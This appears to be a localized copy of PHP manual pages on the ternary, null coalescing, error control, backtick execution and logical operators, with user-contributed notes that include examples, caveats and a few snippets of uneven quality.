Замечание: Please note that the ternary operator is an expression, and that it doesn't evaluate to a variable, but to the result of an expression. This is important to know if you want to return a variable by reference. The statement return $var == 42 ? $a : $b; in a return-by-reference function will therefore not work and a warning is issued.

Замечание:

It is recommended to avoid "stacking" ternary expressions. PHP's behaviour when using more than one unparenthesized ternary operator within a single expression is non-obvious compared to other languages. Indeed prior to PHP 8.0.0, ternary expressions were evaluated left-associative, instead of right-associative like most other programming languages. Relying on left-associativity is deprecated as of PHP 7.4.0. As of PHP 8.0.0, the ternary operator is non-associative.

Пример #4 Non-obvious Ternary Behaviour

<?php
// on first glance, the following appears to output 'true'
echo (true ? 'true' : false ? 't' : 'f');

// however, the actual output of the above is 't' prior to PHP 8.0.0
// this is because ternary expressions are left-associative

// the following is a more obvious version of the same code as above
echo ((true ? 'true' : false) ? 't' : 'f');

// here, one can see that the first expression is evaluated to 'true', which
// in turn evaluates to (bool)true, thus returning the true branch of the
// second ternary expression.
?>

Замечание:

Chaining of short-ternaries (?:), however, is stable and behaves reasonably. It will evaluate to the first argument that evaluates to a non-falsy value. Note that undefined values will still raise a warning.

Пример #5 Short-ternary chaining

<?php
echo 0 ?: 1 ?: 2 ?: 3, PHP_EOL; //1
echo 0 ?: 0 ?: 2 ?: 3, PHP_EOL; //2
echo 0 ?: 0 ?: 0 ?: 3, PHP_EOL; //3
?>

Null Coalescing Operator

Another useful shorthand operator is the "??" (or null coalescing) operator.

Пример #6 Assigning a default value

<?php
// Example usage for: Null Coalesce Operator
$action = $_POST['action'] ?? 'default';

// The above is identical to this if/else statement
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = 'default';
}
?>
The expression (expr1) ?? (expr2) evaluates to expr2 if expr1 is null, and expr1 otherwise.

In particular, this operator does not emit a notice or warning if the left-hand side value does not exist, just like isset(). This is especially useful on array keys.

Замечание: Please note that the null coalescing operator is an expression, and that it doesn't evaluate to a variable, but to the result of an expression. This is important to know if you want to return a variable by reference. The statement return $foo ?? $bar; in a return-by-reference function will therefore not work and a warning is issued.

Замечание:

The null coalescing operator has low precedence. That means if mixing it with other operators (such as string concatenation or arithmetic operators) parentheses will likely be required.

<?php
// Raises a warning that $name is undefined.
print 'Mr. ' . $name ?? 'Anonymous';

// Prints "Mr. Anonymous"
print 'Mr. ' . ($name ?? 'Anonymous');
?>

Замечание:

Please note that the null coalescing operator allows for simple nesting:

Пример #7 Nesting null coalescing operator

<?php

$foo = null;
$bar = null;
$baz = 1;
$qux = 2;

echo $foo ?? $bar ?? $baz ?? $qux; // outputs 1

?>

User Contributed Notes

Hayley Watson 15-Aug-2023 06:15
Between the "shortcut ternary" (aka "elvis") and "spaceship" operators, you can write some quite compact comparison functions for usort and its ilk.

If you want to sort an array of associative arrays by several different keys you can chain them in the same way that you can list column names in an SQL ORDER BY clause.

<?php
usort($array, fn($a, $b) => $a['a'] <=> $b['a']
                         ?: $b['b'] <=> $a['b']
                         ?: $a['c'] <=> $b['c']);
?>
Will sort the array by column 'a', then by column 'b' descending, then by column 'c'; or in SQL-speak 'ORDER BY a, b DESC, c".
gfilippakis at sleed dot gr 24-Mar-2023 09:50
Please note that using the null coalescing operator to check properties on a class that has the __get magic method (without an __isset magic method) invokes the magic method.

For example:

<?php

class A
{
    public function __get($property)
    {
        echo 'Called __get for ' . $property . PHP_EOL;
    }
}

$a = new A();

echo 'Trying null coalescing operator' . PHP_EOL;
$b = $a->test ?? 5;

echo 'Trying isset()' . PHP_EOL;
if (isset($a->test)) {
    $b = $a->test;
} else {
    $b = 5;
}

?>
admin at zeros dot co dot id 06-Aug-2022 01:05
Please be careful when you try to compare strings that have a plus sign `+` at the beginning (such as phone number, etc). When you use the Equal operator `==` PHP will ignore the plus sign. Use Identical operator `===` instead

Example:

$str1 = "62";
$str2 = "+62";

var_dump($str1 == $str2); // bool(true)
var_dump($str1 === $str2); // bool(false)
Tahazzot 25-Apr-2021 10:56
Very careful when reading PHP documentation, Here's a lot of miss information.

According to documentation, They say's (int) 0 == (string) "a" is true. But it is not in PHP 8.

var_dump(0 == "a"); // 0 == 0 -> true

Now In PHP 8 it's False.
Sumon Mahmud 23-Jan-2020 06:59
Extending from here: https://www.php.net/manual/en/language.operators.comparison.php#121907

$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

echo $a > $b; // 0
echo $b > $a; // 0
echo $a <$b; // 0
echo $b < $a; // 0

If using spaceship operator then it is returning true like :

echo $a <=> $b; //1
echo $b <=> $a; //1
echo $a <=> $b; //1
echo $b <=> $a; //1
Ryan Mott 16-Sep-2019 05:00
Searching for "double question mark" operator should find this page (and hopefully after this comment the crawlers will agree)
niall at maranelda dot org 23-Nov-2017 12:16
Care must be taken when using the spaceship operator with arrays that do not have the same keys:

- Contrary to the notes above ("Example #2 Transcription of standard array comparison"), it does *not* return null if the left-hand array contains a key that the right-hand array does not.
- Because of this, the result depends on the order you do the comparison in.

For example:

<?php
$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

var_dump($a <=> $b);        // int(1) : $a > $b because $a has the 'c' key and $b doesn't.

var_dump($b <=> $a);        // int(1) : $b > $a because $b has the 'd' key and $a doesn't.
?>
Marcin Kuzawiski 21-Jun-2015 08:12
A < B and still B < A...

$A = [1 => 1, 2 => 0, 3 => 1];
$B = [1 => 1, 3 => 0, 2 => 1];

var_dump($A < $B);  // TRUE
var_dump($B < $A);  // TRUE

var_dump($A > $B);  // TRUE
var_dump($B > $A);  // TRUE

Next - C and D are comparable, but neither C < D nor D < C (and still C != D)...

$C = [1 => 1, 2 => 1, 3 => 0];
$D = [1 => 1, 3 => 1, 2 => 0];

var_dump($C < $D); // FALSE
var_dump($D < $C); // FALSE

var_dump($C > $D); // FALSE
var_dump($D > $C); // FALSE

var_dump($D == $C); // FALSE
Cuong Huy To 10-Jul-2011 07:48
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)

(Please remove my "Anonymous" post of the same content before. You could check IP to see that I forgot to type my name)
crazy888s at hotmail dot com 01-Feb-2010 10:32
I couldn't find much info on stacking the new ternary operator, so I ran some tests:

<?php
echo 0 ?: 1 ?: 2 ?: 3; //1
echo 1 ?: 0 ?: 3 ?: 2; //1
echo 2 ?: 1 ?: 0 ?: 3; //2
echo 3 ?: 2 ?: 1 ?: 0; //3

echo 0 ?: 1 ?: 2 ?: 3; //1
echo 0 ?: 0 ?: 2 ?: 3; //2
echo 0 ?: 0 ?: 0 ?: 3; //3
?>

It works just as expected, returning the first non-false value within a group of expressions.
bishop 26-Oct-2006 03:49
When you want to know if two arrays contain the same values, regardless of the values' order, you cannot use "==" or "===".  In other words:

<?php
(array(1,2) == array(2,1)) === false;
?>

To answer that question, use:

<?php
function array_equal($a, $b) {
    return (is_array($a) && is_array($b) && array_diff($a, $b) === array_diff($b, $a));
}
?>

A related, but more strict problem, is if you need to ensure that two arrays contain the same key=>value pairs, regardless of the order of the pairs.  In that case, use:

<?php
function array_identical($a, $b) {
    return (is_array($a) && is_array($b) && array_diff_assoc($a, $b) === array_diff_assoc($b, $a));
}
?>

Example:
<?php
$a = array (2, 1);
$b = array (1, 2);
// true === array_equal($a, $b);
// false === array_identical($a, $b);

$a = array ('a' => 2, 'b' => 1);
$b = array ('b' => 1, 'a' => 2);
// true === array_identical($a, $b)
// true === array_equal($a, $b)
?>

(See also the solution "rshawiii at yahoo dot com" posted)
adam at caucho dot com 08-May-2006 10:49
Note: according to the spec, PHP's comparison operators are not transitive.  For example, the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array depends on the order the elements appear in the pre-sort array.  The following code will dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on this documentation page, what PHP does is "correct".  But that may not be what was intended...
rshawiii at yahoo dot com 18-Jan-2006 11:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

<?php
/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
      {
       return FALSE; // arrays don't have same number of entries
      }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
              }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
?>


Error Control Operators

PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any diagnostic error that might be generated by that expression will be suppressed.

If a custom error handler function is set with set_error_handler(), it will still be called even though the diagnostic has been suppressed.

Внимание

Prior to PHP 8.0.0, the error_reporting() called inside the custom error handler always returned 0 if the error was suppressed by the @ operator. As of PHP 8.0.0, it returns the value of this (bitwise) expression: E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR | E_PARSE.

Any error message generated by the expression is available in the "message" element of the array returned by error_get_last(). The result of that function will change on each error, so it needs to be checked early.

<?php
/* Intentional file error */
$my_file = @file ('non_existent_file') or
die ("Failed opening file: error was '" . error_get_last()['message'] . "'");

// this works for any expression, not just functions:
$value = @$cache[$key];
// will not issue a notice if the index $key doesn't exist.

?>

Замечание: The @-operator works only on expressions. A simple rule of thumb is: if one can take the value of something, then one can prepend the @ operator to it. For instance, it can be prepended to variables, functions calls, certain language construct calls (e.g. include), and so forth. It cannot be prepended to function or class definitions, or conditional structures such as if and foreach, and so forth.

Внимание

Prior to PHP 8.0.0, it was possible for the @ operator to disable critical errors that will terminate script execution. For example, prepending @ to a call of a function which did not exist, by being unavailable or mistyped, would cause the script to terminate with no indication as to why.

Смотрите также

  • error_reporting()
  • Error Handling and Logging functions

User Contributed Notes

Ryan C 17-Mar-2021 02:37
It's still possible to detect when the @ operator is being used in the error handler in PHP8. Calling error_reporting() will no longer return 0 as documented, but using the @ operator does still change the return value when you call error_reporting().

My PHP error settings are set to use E_ALL, and when I call error_reporting() from the error handler of a non-suppressed error, it returns E_ALL as expected.

But when an error occurs on an expression where I tried to suppress the error with the @ operator, it returns: E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR (or the number 4437).

I didn't want to use 4437 in my code in case it changes with different settings or future versions of PHP, so I now use:

<?php
   function my_error_handler($err_no, $err_msg, $filename, $linenum) {
      if (error_reporting() != E_ALL) {
         return false; // Silenced
      }

     // ...
   }
?>

If the code needs to work with all versions of PHP, you could check that error_reporting() doesn't equal E_ALL or 0.

And, of course, if your error_reporting settings in PHP is something other than E_ALL, you'll have to change that to whatever setting you do use.
gwyneth dot llewelyn at gwynethllewelyn dot net 06-Feb-2021 10:31
Allegedly, the @ error control operator has been deprecated as of PHP 8.0.0, or, more precisely, it will no longer suppress fatal errors. See https://bugs.php.net/bug.php?id=78532&thanks=3 (note the comment by nikic@php.net)
fy dot kenny at gmail dot com 06-Aug-2020 08:14
* How to make deprecated super global variable `$php_errormsg` work

>1. modify php.ini
>track_errors = On
>error_reporting = E_ALL & ~E_NOTICE
>2. Please note,if you already using customized error handler,it will prompt `undefined variable`
>please insert code`set_error_handler(null);` before executing code, e.g:
>```php
>set_error_handler(null);
>$my_file = @file ('phpinfo.phpx') or
>die ("<br>Failed opening file: <br>\t$php_errormsg");
>```

>(c)Kenny Fang
jcmargentina at gmail dot com 13-Sep-2019 12:15
Please be aware that the behaviour of this operator changed from php5 to php7.

The following code will raise a Fatal error no matter what, and you wont be able to suppress it

<?php

function query()
{
    $myrs = null;
    $tmp = @$myrs->free_result();

    return $tmp;
}

var_dump(query());

echo "THIS IS NOT PRINT";
?>

more info at: https://bugs.php.net/bug.php?id=78532&thanks=3
man13or at hotmail dot fr 07-Jun-2019 01:54
Quick debugging methods :

@print($a);
is equivalent to
if isset($a) echo $a ;

@a++;
is equivalent to
if isset($a) $a++ ;
else $a = 1;
Joey 16-Feb-2018 01:50
In PHP it is extremely beneficial to turn all notices into exceptions. This helps in creating bug free code through finding errors sooner rather than later. It also helps reduce the impact of bugs as code when entering an erroneous state ends sooner rather than later and at all. In the worst case without that you can have much more scenarios where code fails yet appears as though it succeeded.

However there are rare cases in which notices and warnings are produced where the above behavour might be unproductive. Worse yet your error handling will kick out that exception before the function gets to return.

They are rare cases such as socket handling where certain states are expressed through errors causing ambiguity.
ricovox 07-Mar-2017 05:29
What is PHP's behavior for a variable that is assigned the return value of an expression protected by the Error Control Operator when the expression encounteres an error?

Based on the following code, the result is NULL (but it would be nice if this were confirmed to be true in all cases).

<?php

    $var = 3;
    $arr = array();

    $var = @$arr['x'];    // what is the value of $var after this assignment?

    // is it its previous value (3) as if the assignment never took place?
    // is it FALSE or NULL?
    // is it some kind of exception or error message or error number?

   var_dump($var);  // prints "NULL"

?>
dkellner 04-Aug-2016 10:21
There is no reason to NOT use something just because "it can be misused".  You could as well say "unlink is evil, you can delete files with it so don't ever use unlink".

It's a valid point that the @ operator hides all errors - so my rule of thumb is: use it only if you're aware of all possible errors your expression can throw AND you consider all of them irrelevant.

A simple example is
<?php

    $x = @$a["name"];

?>
There are only 2 possible problems here: a missing variable or a missing index.  If you're sure you're fine with both cases, you're good to go.  And again: suppressing errors is not a crime.  Not knowing when it's safe to suppress them is definitely worse.
karst dot REMOVETHIS at onlinq dot nl 20-Feb-2015 02:15
While you should definitely not be too liberal with the @ operator, I also disagree with people who claim it's the ultimate sin.

For example, a very reasonable use is to suppress the notice-level error generated by parse_ini_file() if you know the .ini file may be missing.
In my case getting the FALSE return value was enough to handle that situation, but I didn't want notice errors being output by my API.

TL;DR: Use it, but only if you know what you're suppressing and why.
manisha at mindfiresolutions dot com 11-Oct-2014 09:25
Prepending @ before statement like you are doing a crime with yourself.
Anonymous 14-Feb-2014 11:24
I was wondering if anyone (else) might find a directive to disable/enable to error operator would be a useful addition. That is, instead of something like (which I have seen for a few places in some code):

<?php

if (defined(PRODUCTION)) {
    @function();
}
else {
    function();
}

?>

There could be something like this:

<?php

if (defined(PRODUCTION)) {
    ini_set('error.silent',TRUE);
}
else {
    ini_set('error.silent',FALSE);
}

?>
Anonymous 05-Aug-2013 01:05
This operator is affectionately known by veteran phpers as the stfu operator.
bohwaz 22-Jun-2011 06:27
If you use the ErrorException exception to have a unified error management, I'll advise you to test against error_reporting in the error handler, not in the exception handler as you might encounter some headaches like blank pages as error_reporting might not be transmitted to exception handler.

So instead of :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    if (error_reporting() === 0)
    {
        return;
    }

    // Do some stuff
}

set_exception_handler('catchException');

?>

It would be better to do :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    if (error_reporting() === 0)
    {
        return;
    }

    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    // Do some stuff
}

set_exception_handler('catchException');

?>
anthon at piwik dot org 20-Feb-2011 12:39
If you're wondering what the performance impact of using the @ operator is, consider this example.  Here, the second script (using the @ operator) takes 1.75x as long to execute...almost double the time of the first script.

So while yes, there is some overhead, per iteration, we see that the @ operator added only .005 ms per call.  Not reason enough, imho, to avoid using the @ operator.

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { x(); }
?>

real    0m7.617s
user    0m6.788s
sys    0m0.792s

vs

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { @x(); }
?>

real    0m13.333s
user    0m12.437s
sys    0m0.836s
auser at anexample dot com 08-Sep-2010 04:02
Be aware that using @ is dog-slow, as PHP incurs overhead to suppressing errors in this way. It's a trade-off between speed and convenience.
darren at powerssa dot com 14-Jul-2010 09:33
After some time investigating as to why I was still getting errors that were supposed to be suppressed with @ I found the following.

1. If you have set your own default error handler then the error still gets sent to the error handler regardless of the @ sign.

2. As mentioned below the @ suppression only changes the error level for that call. This is not to say that in your error handler you can check the given $errno for a value of 0 as the $errno will still refer to the TYPE(not the error level) of error e.g. E_WARNING or E_ERROR etc

3. The @ only changes the rumtime error reporting level just for that one call to 0. This means inside your custom error handler you can check the current runtime error_reporting level using error_reporting() (note that one must NOT pass any parameter to this function if you want to get the current value) and if its zero then you know that it has been suppressed.
<?php
// Custom error handler
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if ( 0 == error_reporting () ) {
        // Error reporting is currently turned off or suppressed with @
        return;
    }
    // Do your normal custom error reporting here
}
?>

For more info on setting a custom error handler see: http://php.net/manual/en/function.set-error-handler.php
For more info on error_reporting see: http://www.php.net/manual/en/function.error-reporting.php
M. T. 11-Oct-2009 09:20
Be aware of using error control operator in statements before include() like this:

<?PHP

(@include("file.php"))
 OR die("Could not find file.php!");

?>

This cause, that error reporting level is set to zero also for the included file. So if there are some errors in the included file, they will be not displayed.
gerrywastaken 19-May-2009 01:46
Error suppression should be avoided if possible as it doesn't just suppress the error that you are trying to stop, but will also suppress errors that you didn't predict would ever occur. This will make debugging a nightmare.

It is far better to test for the condition that you know will cause an error before preceding to run the code. This way only the error that you know about will be suppressed and not all future errors associated with that piece of code.

There may be a good reason for using outright error suppression in favor of the method I have suggested, however in the many years I've spent programming web apps I've yet to come across a situation where it was a good solution. The examples given on this manual page are certainly not situations where the error control operator should be used.
taras dot dot dot di at gmail dot com 12-Aug-2008 08:29
I was confused as to what the @ symbol actually does, and after a few experiments have concluded the following:

* the error handler that is set gets called regardless of what level the error reporting is set on, or whether the statement is preceeded with @

* it is up to the error handler to impart some meaning on the different error levels. You could make your custom error handler echo all errors, even if error reporting is set to NONE.

* so what does the @ operator do? It temporarily sets the error reporting level to 0 for that line. If that line triggers an error, the error handler will still be called, but it will be called with an error level of 0

Hope this helps someone
nospam at blog dot fileville dot net 03-Jan-2007 11:58
If you want to log all the error messages for a php script from a session you can use something like this:
<?php
 session_start();
  function error($error, $return=FALSE) {
      global $php_errormsg;
      if(isset($_SESSION['php_errors'])) {
        $_SESSION['php_errors'] = array();
    }
  $_SESSION['php_errors'][] = $error; // Maybe use $php_errormsg
  if($return == TRUE) {
    $message = "";
       foreach($_SESSION['php_errors'] as $php_error) {
          $messages .= $php_error."\n";
     }
    return $messages; // Or you can use use $_SESSION['php_errors']
  }
}
?>
Hope this helps someone...
12-Dec-2006 05:52
error_reporting()==0 for detecting the @ error suppression assumes that you did not set the error level to 0 in the first place.

However, typically if you want to set your own error handler, you would set the error_reporting to 0. Therefore, an alternative to detect the @ error suppression is required.
programming at kennebel dot com 13-Oct-2006 06:38
To suppress errors for a new class/object:

<?php
// Tested: PHP 5.1.2 ~ 2006-10-13

// Typical Example
$var = @some_function();

// Class/Object Example
$var = @new some_class();

// Does NOT Work!
//$var = new @some_class(); // syntax error
?>

I found this most useful when connecting to a
database, where i wanted to control the errors
and warnings displayed to the client, while still
using the class style of access.
me at hesterc dot fsnet dot co dot uk 03-Mar-2005 08:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de 26-Dec-2004 08:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.


Execution Operators

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned (i.e., it won't simply be dumped to output; it can be assigned to a variable). Use of the backtick operator is identical to shell_exec().

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

Замечание:

The backtick operator is disabled when shell_exec() is disabled.

Замечание:

Unlike some other languages, backticks have no special meaning within double-quoted strings.

Смотрите также

  • Program Execution functions
  • popen()
  • proc_open()
  • Using PHP from the commandline

User Contributed Notes

paolo.bertani 10-Nov-2022 05:25
If you want to avoid situations like the one described by @robert you may want to disable `shell_exec` and -as a consequence- the backtick operator.

To do this just edit the `php.ini` file and add `shell_exec` to the `disable_functions` setting:

    ; This directive allows you to disable certain functions.
    ; It receives a comma-delimited list of function names.
    ; https://php.net/disable-functions
    disable_functions = "shell_exec"

Then you can still use `exec()` to run terminal commands.
ohcc at 163 dot com 04-Dec-2016 02:22
You can use variables within a pair of backticks (``).

<?php
    $host = 'www.wuxiancheng.cn';
    echo `ping -n 3 {$host}`;
?>
robert 01-Mar-2006 11:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."


Logical Operators

Logical Operators
Example | Name | Result
$a and $b | And | true if both $a and $b are true.
$a or $b | Or | true if either $a or $b is true.
$a xor $b | Xor | true if either $a or $b is true, but not both.
! $a | Not | true if $a is not true.
$a && $b | And | true if both $a and $b are true.
$a || $b | Or | true if either $a or $b is true.

The reason for the two different variations of "and" and "or" operators is that they operate at different precedences. (See Operator Precedence.)

Пример #1 Logical operators illustrated

<?php

// --------------------
// foo() will never get called as those operators are short-circuit

$a = (false && foo());
$b = (true || foo());
$c = (false and foo());
$d = (true or foo());

// --------------------
// "||" has a greater precedence than "or"

// The result of the expression (false || true) is assigned to $e
// Acts like: ($e = (false || true))
$e = false || true;

// The constant false is assigned to $f before the "or" operation occurs
// Acts like: (($f = false) or true)
$f = false or true;

var_dump($e, $f);

// --------------------
// "&&" has a greater precedence than "and"

// The result of the expression (true && false) is assigned to $g
// Acts like: ($g = (true && false))
$g = true && false;

// The constant true is assigned to $h before the "and" operation occurs
// Acts like: (($h = true) and false)
$h = true and false;

var_dump($g, $h);
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

martinholtcbi at gmail dot com 08-Dec-2022 01:39
In PHP, the || operator only ever returns a boolean. For a chainable assignment operator, use the ?: "Elvis" operator.

JavaScript:
let a = false;
let b = false;
let c = true;
let d = false;
let e = a || b || c || d;
// e === c

<?PHP
$a = false;
$b = false;
$c = true;
$d = false;
$e = $a ?: $b ?: $c ?: $d;
// $e === $c
?>

Credit to @egst and others for the insight. This is merely a rewording for (formerly) lost JavaScript devs like myself.
egst 16-Feb-2021 11:23
In response to Lawrence about || always returning a boolean:

Instead of

$x ? $x : 'fallback'

you can also use the "elvis operator":

$x ?: 'fallback'

which is useful in cases, where the left-hand side of the ternary operator is too long type, is too complex to calculate twice, or has side-effects.

It also combines nicely with the ?? operator, which is equivalent to an empty() check (both isset() and `!= false`):

$x->y ?? null ?: 'fallback';

instead of:

empty($x->y) ? $x->y : 'fallback'
mcodingset at outlook dot com 16-Oct-2018 05:45
// __forFun ...
// Example Logical `or` operator

$a = true;                  // true|false or something for test :)
$b = "I'm a string result"; // use|test `string` or `object`

if (!$a or !$c = $b) {
    $c = 'Hey';
}

// print result
var_dump($c); // "I'm a string result"

Have Fun!
Manucyan 29-Aug-2018 04:28
So...
A || B   may be different from  B || A

for exemple :

unset($a);
if (    ($a < 0)   ||   (!isset($a))   )
echo 'Hello!';

//      return error:  "Notice: Undefined variable: a "

unset($a);
if (    (!isset($a))   ||    ($a < 0)  )
echo 'Hello!';

//      return   'Hello!'

practical example with an age check over 17 years:
if (    (!isset($age))   ||    ($age < 17)  )
$error_age = true;

this example will not display a php error if the age is not entered
dumitru at floringabriel dot com 10-Apr-2017 10:54
In addition to what Lawrence said about assigning a default value, one can now use the Null Coalescing Operator (PHP 7). Hence when we want to assign a default value we can write:

$a = ($fruit ?? 'apple');
//assigns the $fruit variable content to $a if the $fruit variable exists or has a value that is not NULL, or assigns the value 'apple' to $a if the $fruit variable doesn't exists or it contains the NULL value
vasko at tsintsev dot com 26-Jan-2017 05:01
Here is something useful for OR ( or any other ) bitwise comparison:

$a = 0;
$b = 1;

printf('$a = %1$04b | $b = %2$04b ...  PROCESSED is: %3$s ( %3$04b )', $a, $b, ($a | $b));
thisleenobleNOSPAMPLEASE at mac dot com 09-Jan-2017 11:05
In order to kind of emulate the way javascript assigns the first non-false value in an expression such as this:

var v = a || b || c || d;

I wrote a little helper method that I put in a function dump library (here presented as a bare function):

<?php
function either($a, $b){
        $val = $a ? $a : $b;
        /*
             Yes, I know the fixed parameters in the function
             are redundant since I could just use func_get_args,
             but in most instances I'll be using this a replacement
             for the ternary operator and only passing two values.
             I don't want to invoke the additional process below
             unless I REALLY have to.
        */
        $args = func_get_args();
        if($val === false && count($args) > 2){
            $args = array_slice($args, 2);

            foreach($args as $arg){
                if($arg !== false){
                    $val = $arg;
                    break;
                }
            }
        }
        return $val;
    }
?>

Now instead of:

$v = $a ? $a : $b;

I write:

$v = either($a, $b);

but more importantly, instead of writing:

$v = $a ? $a : ($b ? $b : $c);

I write:

$v = either($a, $b, $c);

or indeed:

$v = either($a, $b, $c, $d, $e, $f, $g, $h);
moschris at gmail dot com 24-May-2016 05:31
Unlike C++ and related languages, side effects in the left operand may NOT be used in the right operand.

e.g. if ($a=1 && $a>0)
will produce an unassigned error if $a has not previously been assigned a value.
drevilkuko at gmail dot com 07-Dec-2015 05:29
using NULL coalesce operator:

<?php
$nc = true == false ?? 'no';
var_dump($nc); // false

$nc = null ?? 'yes';
var_dump($nc); // yes

$username = null == false ?? 'no';
var_dump($nc); // true

$nc = $_GET['something'] ?? 'default';
var_dump($nc); // default

$nc = !isset($_GET['something']) ?? 'wtf';
var_dump($nc); // true

$nc = isset($_GET['something']) ?? 'wtf';
var_dump($nc); // false

$_POST['second'] = 'chain';
$nc = $_GET['first'] ?? $_POST['second'] ?? $_REQUEST['third'] ?? 'wtf';
var_dump($nc); // chain
?>
4077 04-May-2015 06:20
Assign a value to a variable if it isn't defined

<?php

isset($x) || $x = 123;

print $x; // 123

?>

instead of:
<?php

if ( !isset($x)) {
    $x = 123;
}

// or

$x = isset($x) ? $x : 123;

// or

$x = isset($x) ?: 123;
?>

editor's note: In PHP 7 you could use the coalesce operator and do:
<?php
$x = $x ?? 123;
samantha at adrichem dot nu 27-Feb-2015 03:28
<?php
    $res |= true;
    var_dump($res);
?>

does not/no longer returns a boolean (php 5.6) instead it returns int 0 or 1
anatoliy at ukhvanovy dot name 12-Jun-2014 01:41
If you want to use the '||' operator to set a default value, like this:

<?php
$a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE)
?>

instead, you have to use the '?:' operator:

<?php
$a = ($fruit ? $fruit : 'apple');//if $fruit evaluates to FALSE, then $a will be set to 'apple'
?>

But $fruit will be evaluated twice, which is not desirable. For example fruit() will be called twice:
<?php
function fruit($confirm) {
    if($confirm)
        return 'banana';
}
$a = (fruit(1) ? fruit(1) : 'apple');//fruit() will be called twice!
?>

But since «since PHP 5.3, it is possible to leave out the middle part of the ternary operator» (http://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary), now you can code like this:

<?php
$a = ($fruit ? : 'apple'); //this will evaluate $fruit only once, and if it evaluates to FALSE, then $a will be set to 'apple'
?>

But remember that a non-empty string '0' evaluates to FALSE!

<?php
$fruit = '1';
$a = ($fruit ? : 'apple'); //this line will set $a to '1'
$fruit = '0';
$a = ($fruit ? : 'apple'); //this line will set $a to 'apple', not '0'!
?>
void at informance dot info 16-Apr-2014 10:53
To assign default value in variable assignation, the simpliest solution to me is:

<?php
$v = my_function() or $v = "default";
?>

It works because, first, $v is assigned the return value from my_function(), then this value is evaluated as a part of a logical operation:
* if the left side is false, null, 0, or an empty string, the right side must be evaluated and, again, because 'or' has low precedence, $v is assigned the string "default"
* if the left side is none of the previously mentioned values, the logical operation ends and $v keeps the return value from my_function()

This is almost the same as the solution from [phpnet at zc dot webhop dot net], except that his solution (parenthesis and double pipe) doesn't take advantage of the "or" low precedence.

NOTE: "" (the empty string) is evaluated as a FALSE logical operand, so make sure that the empty string is not an acceptable value from my_function(). If you need to consider the empty string as an acceptable return value, you must go the classical "if" way.
brian at zickzickzick dot com 19-Jul-2013 03:23
This has been mentioned before, but just in case you missed it:

<?php
    // Defaults --

    //If you're trying to gat 'Jack' from:
    $jack = false or 'Jack';

    // Try:
    $jack = false or $jack = 'Jack';

    //The other option is:
    $jack = false ? false : 'Jack';
?>
